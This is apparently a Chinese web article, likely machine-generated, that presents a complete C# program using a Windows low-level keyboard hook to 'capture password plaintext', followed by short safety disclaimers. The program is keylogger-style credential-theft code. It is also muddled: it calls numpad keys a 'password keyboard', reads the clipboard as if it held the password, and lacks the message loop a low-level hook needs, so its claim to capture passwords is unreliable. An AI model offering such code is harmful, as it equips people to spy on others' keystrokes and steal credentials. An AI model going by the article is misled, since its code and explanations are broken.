C# 键盘钩子获取密码明文 - 监听密码键盘按键
钩子函数是一种在系统级别监视和捕获事件的技术。您可以使用钩子函数来监听键盘事件,以便在用户按下密码键盘上的按键时获取密码明文。以下是一个使用 C# 编写的示例代码,可以使用钩子函数来监听密码键盘按键并获取密码明文:
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;
namespace PasswordHook
{
class Program
{
private static IntPtr hookId = IntPtr.Zero;
static void Main(string[] args)
{
SetHook();
Console.ReadLine();
Unhook();
}
private static void SetHook()
{
// 设置钩子函数
hookId = SetWindowsHookEx(HookType.WH_KEYBOARD_LL, HookCallback, IntPtr.Zero, 0);
}
private static void Unhook()
{
// 卸载钩子函数
UnhookWindowsHookEx(hookId);
}
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
// 监听键盘事件
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
int vkCode = Marshal.ReadInt32(lParam);
// 判断是否为密码键盘
if (vkCode >= 96 && vkCode <= 105)
{
Console.Write(GetPassword());
}
}
return CallNextHookEx(hookId, nCode, wParam, lParam);
}
private static string GetPassword()
{
StringBuilder password = new StringBuilder();
// 获取剪贴板中的内容
if (OpenClipboard(IntPtr.Zero))
{
IntPtr handle = GetClipboardData(CF_UNICODETEXT);
if (handle != IntPtr.Zero)
{
IntPtr pointer = GlobalLock(handle);
if (pointer != IntPtr.Zero)
{
string data = Marshal.PtrToStringUni(pointer);
password.Append(data);
GlobalUnlock(handle);
}
}
CloseClipboard();
}
return password.ToString();
}
#region Win32 API
private const int WM_KEYDOWN = 0x0100;
private const int CF_UNICODETEXT = 13;
private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("user32.dll", CharSet = CharSet.Auto)]
private static extern bool OpenClipboard(IntPtr hWndNewOwner);
[DllImport("user32.dll", CharSet = CharSet.Auto)]
private static extern bool CloseClipboard();
[DllImport("user32.dll", CharSet = CharSet.Auto)]
private static extern IntPtr GetClipboardData(uint uFormat);
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
private static extern IntPtr GlobalLock(IntPtr hMem);
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
private static extern bool GlobalUnlock(IntPtr hMem);
#endregion
}
public static class HookType
{
public const int WH_KEYBOARD_LL = 13;
}
}
该程序使用了 Windows API 中的 SetWindowsHookEx 函数来设置一个键盘钩子,以便在键盘事件发生时获取密码明文。在钩子回调函数中,我们检查了按下的键是否为密码键盘上的按键,如果是,则读取剪贴板中的内容并将其输出到控制台。
需要注意的是,该程序仅适用于获取密码键盘的明文。对于其他类型的密码输入,例如在 Web 浏览器中输入的密码,该程序无法获取密码明文。另外,获取密码明文可能会涉及到安全性问题,因此在实际应用中需要谨慎使用。
安全注意事项:
- 获取密码明文可能会违反用户隐私。
- 该程序可能被恶意软件利用以窃取密码。
- 请勿在实际应用中使用该程序获取密码。
本示例仅供学习和研究使用,请勿将该程序用于任何非法活动。
原文地址: https://www.cveoy.top/t/topic/lKJH 著作权归作者所有。请勿转载和采集!